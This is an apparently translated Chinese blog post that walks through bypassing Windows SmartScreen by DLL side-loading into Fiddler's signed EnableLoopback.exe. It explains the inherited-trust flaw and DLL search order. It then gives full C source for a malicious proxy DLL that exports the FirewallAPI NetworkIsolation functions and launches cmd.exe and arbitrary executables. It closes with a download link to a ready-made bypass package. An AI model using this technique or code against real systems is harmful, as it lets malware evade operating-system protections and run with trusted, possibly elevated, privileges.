绕过WINDOWS SMARTSCREEN杀毒软件

绕过WINDOWS SMARTSCREEN杀毒软件

Smart Screen是Windows 10附带的Windows Defender实用程序。如果尝试运行未签名和/或不受信任的二进制文件,它将弹出警告

WINDOWS SMARTSCREEN原理

Microsoft Smart Screen通过检查以下内容对可执行文件起作用:

  • 此二进制文件中是否存在恶意软件签名?
  • 我们签名了吗?
  • 签约机构是否在我们的“好孩子”列表中?

我指的“好孩子”列表是Microsoft信任的证书列表,不问任何问题。有没有想过,为什么当您尝试打开从Internet下载的Microsoft工具时,Smart Screen不会说屎呢?这是因为某些证书在“好孩子”列表中。

绕过WINDOWS SMARTSCREEN杀毒软件

是什么让它们如此特别?

无论如何,这里有一个我写的,未签名,不受信任的exe文件,什么都不做。

绕过WINDOWS SMARTSCREEN杀毒软件

在这里,我们弹出智能屏幕,但我的二进制文件没有通过其“后台检查”。

绕过WINDOWS SMARTSCREEN杀毒软件

智能屏幕正在发挥作用

好的,那你到底如何绕过呢?好吧,您可以签署自己的exe,但是要花钱。即使那样,即使证书颁发机构不在Microsoft“好孩子”列表中,智能屏幕仍会发出警报。

继承信任问题

答案是显而易见的。我们利用“好孩子”列表中的程序来运行我们的代码。“但是乔”,您可能会问,“当这些受信任的exe的签名检查一旦修改后就中断了,我们该如何运行我们的代码?” 这是一个该死的好问题。答案在于Windows如何完成其​​签名和代码运行的根本缺陷。已签名的可执行文件具有继承信任问题。由已签名程序运行的未签名程序将获得相同的信任。请允许我举例说明。

绕过WINDOWS SMARTSCREEN杀毒软件

这就是为什么我们不能拥有美好的事物

因此,从受信任程序生成的程序是受信任的。它仅适用于流程创建吗?没有!动态链接库的工作方式相同!

绕过WINDOWS SMARTSCREEN杀毒软件

因此,要绕过智能屏幕,我们需要利用错误的CreateProcess,ShellExec,WinExec等调用的信任问题,在这里我们可以指定自己的可执行文件名称/路径。这很难做到,但并非不可能,但是我很少遇到不受信任的执行。有什么容易的吗?DLL呢?这些工具工作出色,漏洞无处不在。我们利用的是所谓的“ Dll侧面加载”。

DLL侧面加载

DLL侧加载是当exe开始在当前目录中搜索DLL文件,然后从DLL加载导出文件时发生的情况。通过删除我们自己的DLL,我们可以利用它。它并不总是切割和干燥的,并且已经采取了许多缓解措施来防止这种情况的发生。

DLL文件以特定顺序加载。

  1. 我是已知的DLL吗?如果是这样,则从系统文件夹加载。
  2. 我在exe清单文件中定义了依赖项吗?如果是这样,请从那里加载。
  3. 我在启动文件夹中吗?
  4. 我在系统文件夹中吗?
  5. 我是否在环境变量“ PATH”中?
  6. 不全部吗?失败。

那么,当我说已知的DLL时我是什么意思?Windows上存在一个注册表项,其中包含被视为“已知”的DLL列表,这些DLL首先从Windows和system32文件夹加载。它位于HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

绕过WINDOWS SMARTSCREEN杀毒软件

这似乎是我们侧加载漏洞的全部终结,但实际上并非如此。一个业余的Windows程序员可能会注意到,该列表丢失了所有在该死的时间内都使用过的DLL文件。缺少诸如vcruntime140.dl,winmm.dll,comctl32.dll和wintrust.dll之类的东西。这意味着从这些DLL文件(和其他DLL文件)导入条目的任何exe都容易受到旁加载攻击。

我提出的另一个条目是exe清单下的依赖项检查。但是,该检查的文档记录不充分,我很少见过它在任何地方使用过(包括Windows二进制文件)。这不是什么缓解措施。

那么DLL端插孔也可以在.NET二进制文件上工作吗?当然好。好的,关于这一点就足够了,并将其保存在另一篇博客文章中。现在让我们利用DLL侧面加载来绕过智能屏幕。

因此,现在我们需要的是一个容易受到DLL侧加载漏洞影响的exe文件。如果需要提升,则可以加分,因为这可以确保我们的代码以管理员权限运行。为此,我选择了Fiddler附带的名为EnableLoopback.exe的程序,以及它的.NET exe!这有点“ 0day”,但是Telerik没有赏金的bug,当我伸出援助之手时,他们似乎也没有兴趣,所以拧紧他们。exe会在“已知DLL”注册表项中导入DLL“ FirewallAPI.dll”。

绕过WINDOWS SMARTSCREEN杀毒软件

特别是从FirewallAPI.dll中,程序EnableLoopBack.exe正在查看导入的条目“ NetworkIsoationEnumAppContainers”,“ NetworkIsolationFreeAppContainers”,“ NetworkIsolationGetAppContainerConfig”和“ NetworkIsolationSetAppContainerConfig”。

绕过WINDOWS SMARTSCREEN杀毒软件

因此,我们创建一个DLL文件,相应地命名DLL导出,然后将恶意代码放入C函数中。

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            MessageBoxW(NULL,L"hey how's it going?",L"YO",MB_OK);
            WinExec("mspaint.exe",1); // can be whatever
            break;
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) unsigned int NetworkIsolationEnumAppContainers(unsigned int Flags,
 unsigned int pdwCntPublicACs, int *ppPublicACs)
{
    WinExec("iamcool.exe",1);
    return 2;
}
extern __declspec(dllexport) void NetworkIsolationFreeAppContainers(int *pACs)
{
    WinExec("cmd.exe",1);
    return;
}
extern __declspec(dllexport) unsigned int NetworkIsolationGetAppContainerConfig(unsigned int pdwCntACs, 
    int *appContainerSids)
{
    WinExec("cmd.exe",1);
    return 2;
}
extern __declspec(dllexport)  unsigned int NetworkIsolationSetAppContainerConfig(unsigned int pdwCntACs,
 int x)
{
    WinExec("cmd.exe",1);
    return 2;
}

在我的代码中,我在DLL附件上运行mspaint,并从启动主exe的位置运行cmd.exe以及程序“ iamcool.exe”。DLL代码和iamcool可执行文件都将在受信任的Fiddler可执行文件的上下文中运行。

十分简单。

附件是我的DLL,fiddler exe,代码等。

下载地址

bypass-smartscreen-fiddler

https://w.ddosi.workers.dev/***/bypass-smartscreen-fiddler.rar